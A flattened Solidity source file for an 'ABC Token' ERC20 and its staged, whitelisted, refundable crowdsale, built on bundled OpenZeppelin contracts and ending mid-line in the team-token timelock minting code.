pragma solidity 0.4.24; // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public hasMintPermission canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/CappedToken.sol /** * @title Capped token * @dev Mintable token with a token cap. */ contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) public returns (bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } // File: zeppelin-solidity/contracts/access/rbac/Roles.sol /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage _role, address _addr) internal { _role.bearer[_addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage _role, address _addr) internal { _role.bearer[_addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage _role, address _addr) internal view { require(has(_role, _addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage _role, address _addr) internal view returns (bool) { return _role.bearer[_addr]; } } // File: zeppelin-solidity/contracts/access/rbac/RBAC.sol /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * Supports unlimited numbers of roles and addresses. * See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address indexed operator, string role); event RoleRemoved(address indexed operator, string role); /** * @dev reverts if addr does not have role * @param _operator address * @param _role the name of the role * // reverts */ function checkRole(address _operator, string _role) public view { roles[_role].check(_operator); } /** * @dev determine if addr has role * @param _operator address * @param _role the name of the role * @return bool */ function hasRole(address _operator, string _role) public view returns (bool) { return roles[_role].has(_operator); } /** * @dev add a role to an address * @param _operator address * @param _role the name of the role */ function addRole(address _operator, string _role) internal { roles[_role].add(_operator); emit RoleAdded(_operator, _role); } /** * @dev remove a role from an address * @param _operator address * @param _role the name of the role */ function removeRole(address _operator, string _role) internal { roles[_role].remove(_operator); emit RoleRemoved(_operator, _role); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param _role the name of the role * // reverts */ modifier onlyRole(string _role) { checkRole(msg.sender, _role); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param _roles the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] _roles) { // bool hasAnyRole = false; // for (uint8 i = 0; i < _roles.length; i++) { // if (hasRole(msg.sender, _roles[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } // File: contracts/RBACBurnableToken.sol /** * @title RBACBurnableToken * @dev Burnable Token, with RBAC burner permissions */ contract RBACBurnableToken is BurnableToken, Ownable, RBAC { /** * A constant role name for indicating burners. */ string public constant ROLE_BURNER = "burner"; /** * @dev override the Burnable token _burn function */ function _burn(address _who, uint256 _value) internal { checkRole(msg.sender, ROLE_BURNER); super._burn(_who, _value); } /** * @dev add a burner role to an address * @param _burner address */ function addBurner(address _burner) public onlyOwner { addRole(_burner, ROLE_BURNER); } /** * @dev remove a burner role from an address * @param _burner address */ function removeBurner(address _burner) public onlyOwner { removeRole(_burner, ROLE_BURNER); } } // File: contracts/ABCToken.sol contract ABCToken is MintableToken, CappedToken, RBACBurnableToken { string public name = "ABC Token"; string public symbol = "ABC"; uint8 public decimals = 18; function ABCToken ( uint256 _cap ) public CappedToken(_cap) { } } // File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } // File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overridden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropriate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; using SafeERC20 for ERC20; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(_beneficiary, _weiAmount); * require(weiRaised.add(_weiAmount) <= cap); * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.safeTransfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } // File: zeppelin-solidity/contracts/crowdsale/emission/MintedCrowdsale.sol /** * @title MintedCrowdsale * @dev Extension of Crowdsale contract whose tokens are minted in each purchase. * Token ownership should be transferred to MintedCrowdsale for minting. */ contract MintedCrowdsale is Crowdsale { /** * @dev Overrides delivery by minting tokens upon purchase. * @param _beneficiary Token purchaser * @param _tokenAmount Number of tokens to be minted */ function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { // Potentially dangerous assumption about the type of the token. require(MintableToken(address(token)).mint(_beneficiary, _tokenAmount)); } } // File: zeppelin-solidity/contracts/access/Whitelist.sol /** * @title Whitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * This simplifies the implementation of "user permissions". */ contract Whitelist is Ownable, RBAC { string public constant ROLE_WHITELISTED = "whitelist"; /** * @dev Throws if operator is not whitelisted. * @param _operator address */ modifier onlyIfWhitelisted(address _operator) { checkRole(_operator, ROLE_WHITELISTED); _; } /** * @dev add an address to the whitelist * @param _operator address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address _operator) public onlyOwner { addRole(_operator, ROLE_WHITELISTED); } /** * @dev getter to determine if address is in whitelist */ function whitelist(address _operator) public view returns (bool) { return hasRole(_operator, ROLE_WHITELISTED); } /** * @dev add addresses to the whitelist * @param _operators addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] _operators) public onlyOwner { for (uint256 i = 0; i < _operators.length; i++) { addAddressToWhitelist(_operators[i]); } } /** * @dev remove an address from the whitelist * @param _operator address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address _operator) public onlyOwner { removeRole(_operator, ROLE_WHITELISTED); } /** * @dev remove addresses from the whitelist * @param _operators addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] _operators) public onlyOwner { for (uint256 i = 0; i < _operators.length; i++) { removeAddressFromWhitelist(_operators[i]); } } } // File: zeppelin-solidity/contracts/crowdsale/validation/WhitelistedCrowdsale.sol /** * @title WhitelistedCrowdsale * @dev Crowdsale in which only whitelisted users can contribute. */ contract WhitelistedCrowdsale is Whitelist, Crowdsale { /** * @dev Extend parent behavior requiring beneficiary to be in whitelist. * @param _beneficiary Token beneficiary * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyIfWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: zeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ constructor(uint256 _openingTime, uint256 _closingTime) public { // solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } // File: zeppelin-solidity/contracts/crowdsale/distribution/FinalizableCrowdsale.sol /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is Ownable, TimedCrowdsale { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() public onlyOwner { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } // File: zeppelin-solidity/contracts/payment/Escrow.sol /** * @title Escrow * @dev Base escrow contract, holds funds destinated to a payee until they * withdraw them. The contract that uses the escrow as its payment method * should be its owner, and provide public methods redirecting to the escrow's * deposit and withdraw. */ contract Escrow is Ownable { using SafeMath for uint256; event Deposited(address indexed payee, uint256 weiAmount); event Withdrawn(address indexed payee, uint256 weiAmount); mapping(address => uint256) private deposits; function depositsOf(address _payee) public view returns (uint256) { return deposits[_payee]; } /** * @dev Stores the sent amount as credit to be withdrawn. * @param _payee The destination address of the funds. */ function deposit(address _payee) public onlyOwner payable { uint256 amount = msg.value; deposits[_payee] = deposits[_payee].add(amount); emit Deposited(_payee, amount); } /** * @dev Withdraw accumulated balance for a payee. * @param _payee The address whose funds will be withdrawn and transferred to. */ function withdraw(address _payee) public onlyOwner { uint256 payment = deposits[_payee]; assert(address(this).balance >= payment); deposits[_payee] = 0; _payee.transfer(payment); emit Withdrawn(_payee, payment); } } // File: zeppelin-solidity/contracts/payment/ConditionalEscrow.sol /** * @title ConditionalEscrow * @dev Base abstract escrow to only allow withdrawal if a condition is met. */ contract ConditionalEscrow is Escrow { /** * @dev Returns whether an address is allowed to withdraw their funds. To be * implemented by derived contracts. * @param _payee The destination address of the funds. */ function withdrawalAllowed(address _payee) public view returns (bool); function withdraw(address _payee) public { require(withdrawalAllowed(_payee)); super.withdraw(_payee); } } // File: zeppelin-solidity/contracts/payment/RefundEscrow.sol /** * @title RefundEscrow * @dev Escrow that holds funds for a beneficiary, deposited from multiple parties. * The contract owner may close the deposit period, and allow for either withdrawal * by the beneficiary, or refunds to the depositors. */ contract RefundEscrow is Ownable, ConditionalEscrow { enum State { Active, Refunding, Closed } event Closed(); event RefundsEnabled(); State public state; address public beneficiary; /** * @dev Constructor. * @param _beneficiary The beneficiary of the deposits. */ constructor(address _beneficiary) public { require(_beneficiary != address(0)); beneficiary = _beneficiary; state = State.Active; } /** * @dev Stores funds that may later be refunded. * @param _refundee The address funds will be sent to if a refund occurs. */ function deposit(address _refundee) public payable { require(state == State.Active); super.deposit(_refundee); } /** * @dev Allows for the beneficiary to withdraw their funds, rejecting * further deposits. */ function close() public onlyOwner { require(state == State.Active); state = State.Closed; emit Closed(); } /** * @dev Allows for refunds to take place, rejecting further deposits. */ function enableRefunds() public onlyOwner { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } /** * @dev Withdraws the beneficiary's funds. */ function beneficiaryWithdraw() public { require(state == State.Closed); beneficiary.transfer(address(this).balance); } /** * @dev Returns whether refundees can withdraw their deposits (be refunded). */ function withdrawalAllowed(address _payee) public view returns (bool) { return state == State.Refunding; } } // File: zeppelin-solidity/contracts/crowdsale/distribution/RefundableCrowdsale.sol /** * @title RefundableCrowdsale * @dev Extension of Crowdsale contract that adds a funding goal, and * the possibility of users getting a refund if goal is not met. */ contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; // minimum amount of funds to be raised in weis uint256 public goal; // refund escrow used to hold funds while crowdsale is running RefundEscrow private escrow; /** * @dev Constructor, creates RefundEscrow. * @param _goal Funding goal */ constructor(uint256 _goal) public { require(_goal > 0); escrow = new RefundEscrow(wallet); goal = _goal; } /** * @dev Investors can claim refunds here if crowdsale is unsuccessful */ function claimRefund() public { require(isFinalized); require(!goalReached()); escrow.withdraw(msg.sender); } /** * @dev Checks whether funding goal was reached. * @return Whether funding goal was reached */ function goalReached() public view returns (bool) { return weiRaised >= goal; } /** * @dev escrow finalization task, called when owner calls finalize() */ function finalization() internal { if (goalReached()) { escrow.close(); escrow.beneficiaryWithdraw(); } else { escrow.enableRefunds(); } super.finalization(); } /** * @dev Overrides Crowdsale fund forwarding, sending funds to escrow. */ function _forwardFunds() internal { escrow.deposit.value(msg.value)(msg.sender); } } // File: zeppelin-solidity/contracts/token/ERC20/TokenTimelock.sol /** * @title TokenTimelock * @dev TokenTimelock is a token holder contract that will allow a * beneficiary to extract the tokens after a given release time */ contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint256 public releaseTime; constructor( ERC20Basic _token, address _beneficiary, uint256 _releaseTime ) public { // solium-disable-next-line security/no-block-members require(_releaseTime > block.timestamp); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { // solium-disable-next-line security/no-block-members require(block.timestamp >= releaseTime); uint256 amount = token.balanceOf(address(this)); require(amount > 0); token.safeTransfer(beneficiary, amount); } } // File: contracts/ABCTokenCrowdsale.sol contract ABCTokenCrowdsale is WhitelistedCrowdsale, RefundableCrowdsale, MintedCrowdsale { // ICO Stages enum CrowdsaleStage { PrivateSale, PreSale, ICO } CrowdsaleStage public stage = CrowdsaleStage.PrivateSale; uint256 public privateSaleRate; uint256 public preSaleRate; uint256 public publicRate; uint256 public totalTokensForSaleDuringPrivateSale; uint256 public totalTokensForSaleDuringPreSale; uint256 public totalTokensForSale; uint256 public privateSaleMinimumTokens; uint256 public preSaleMinimumTokens; uint256 public tokensForTeam; uint256 public tokensForAdvisors; uint256 public privateSaleTokensSold = 0; uint256 public preSaleTokensSold = 0; uint256 public tokensSold = 0; // Team, Advisor, Strategic partner Timelocks address public teamWallet; address public advisorsWallet; address public teamTimelock1; address public teamTimelock2; address public teamTimelock3; address public teamTimelock4; address public teamTimelock5; address public teamTimelock6; address public teamTimelock7; address public advisorTimelock; function ABCTokenCrowdsale ( uint256 _goal, uint256 _openingTime, uint256 _closingTime, uint256 _privateSaleRate, uint256 _preSaleRate, uint256 _rate, uint256 _totalTokensForSaleDuringPrivateSale, uint256 _totalTokensForSaleDuringPreSale, uint256 _totalTokensForSale, uint256 _privateSaleMinimumTokens, uint256 _preSaleMinimumTokens, uint256 _tokensForTeam, uint256 _tokensForAdvisors, address _wallet, MintableToken _token ) public Crowdsale(_rate, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) RefundableCrowdsale(_goal) { uint256 tokenCap = CappedToken(address(_token)).cap(); require(_totalTokensForSale.add(_tokensForTeam).add(_tokensForAdvisors) <= tokenCap); publicRate = _rate; preSaleRate = _preSaleRate; privateSaleRate = _privateSaleRate; totalTokensForSaleDuringPrivateSale = _totalTokensForSaleDuringPrivateSale; totalTokensForSaleDuringPreSale = _totalTokensForSaleDuringPreSale; totalTokensForSale = _totalTokensForSale; preSaleMinimumTokens = _preSaleMinimumTokens; privateSaleMinimumTokens = _privateSaleMinimumTokens; tokensForTeam = _tokensForTeam; tokensForAdvisors = _tokensForAdvisors; setCrowdsaleStage(uint(CrowdsaleStage.PrivateSale)); } function setCrowdsaleStage(uint value) public onlyOwner { CrowdsaleStage _stage; if (uint(CrowdsaleStage.PrivateSale) == value) { _stage = CrowdsaleStage.PrivateSale; } else if (uint(CrowdsaleStage.PreSale) == value) { _stage = CrowdsaleStage.PreSale; } else if (uint(CrowdsaleStage.ICO) == value) { _stage = CrowdsaleStage.ICO; } stage = _stage; if (stage == CrowdsaleStage.PrivateSale) { setCurrentRate(privateSaleRate); } else if (stage == CrowdsaleStage.PreSale) { setCurrentRate(preSaleRate); } else if (stage == CrowdsaleStage.ICO) { setCurrentRate(publicRate); } } function setTeamWallet(address _wallet) public onlyOwner { teamWallet = _wallet; } function setAdvisorWallet(address _wallet) public onlyOwner { advisorsWallet = _wallet; } function setCurrentRate(uint256 _rate) private { rate = _rate; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); uint256 tokens = _getTokenAmount(_weiAmount); if (stage == CrowdsaleStage.PrivateSale) { require(tokens >= privateSaleMinimumTokens); require(privateSaleTokensSold.add(tokens) <= totalTokensForSaleDuringPrivateSale); } else if (stage == CrowdsaleStage.PreSale) { require(tokens >= preSaleMinimumTokens); require(preSaleTokensSold.add(tokens) <= totalTokensForSaleDuringPreSale); } require(tokensSold.add(tokens) <= totalTokensForSale); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._postValidatePurchase(_beneficiary, _weiAmount); uint256 tokens = _getTokenAmount(_weiAmount); if (stage == CrowdsaleStage.PrivateSale) { privateSaleTokensSold = privateSaleTokensSold.add(tokens); } else if (stage == CrowdsaleStage.PreSale) { preSaleTokensSold = preSaleTokensSold.add(tokens); } tokensSold = tokensSold.add(tokens); } function finalization() internal { if(goalReached()) { require(teamWallet != address(0)); require(advisorsWallet != address(0)); // mint team tokens uint256 teamReleaseTime1 = now + (182.5 * 24 * 60 * 60); // 182.5 days from now teamTimelock1 = mintTimeLockedTokens(teamWallet, (tokensForTeam * 25 / 100 ), teamReleaseTime1); uint256 teamReleaseTime2 = teamReleaseTime1 + (91.25 * 24 * 60 * 60); // 91.25 days from last release teamTimelock2 = mintTimeLockedTokens(teamWallet, (tokensForTeam * 125 / 1000), teamReleaseTime2); uint256 teamReleaseTime3 = teamReleaseTime2 + (91.25 * 24 * 60 * 60); // 91.25 days from last release teamTimelock3 = mintTimeLockedTokens(teamWallet, (tokensForTeam * 125 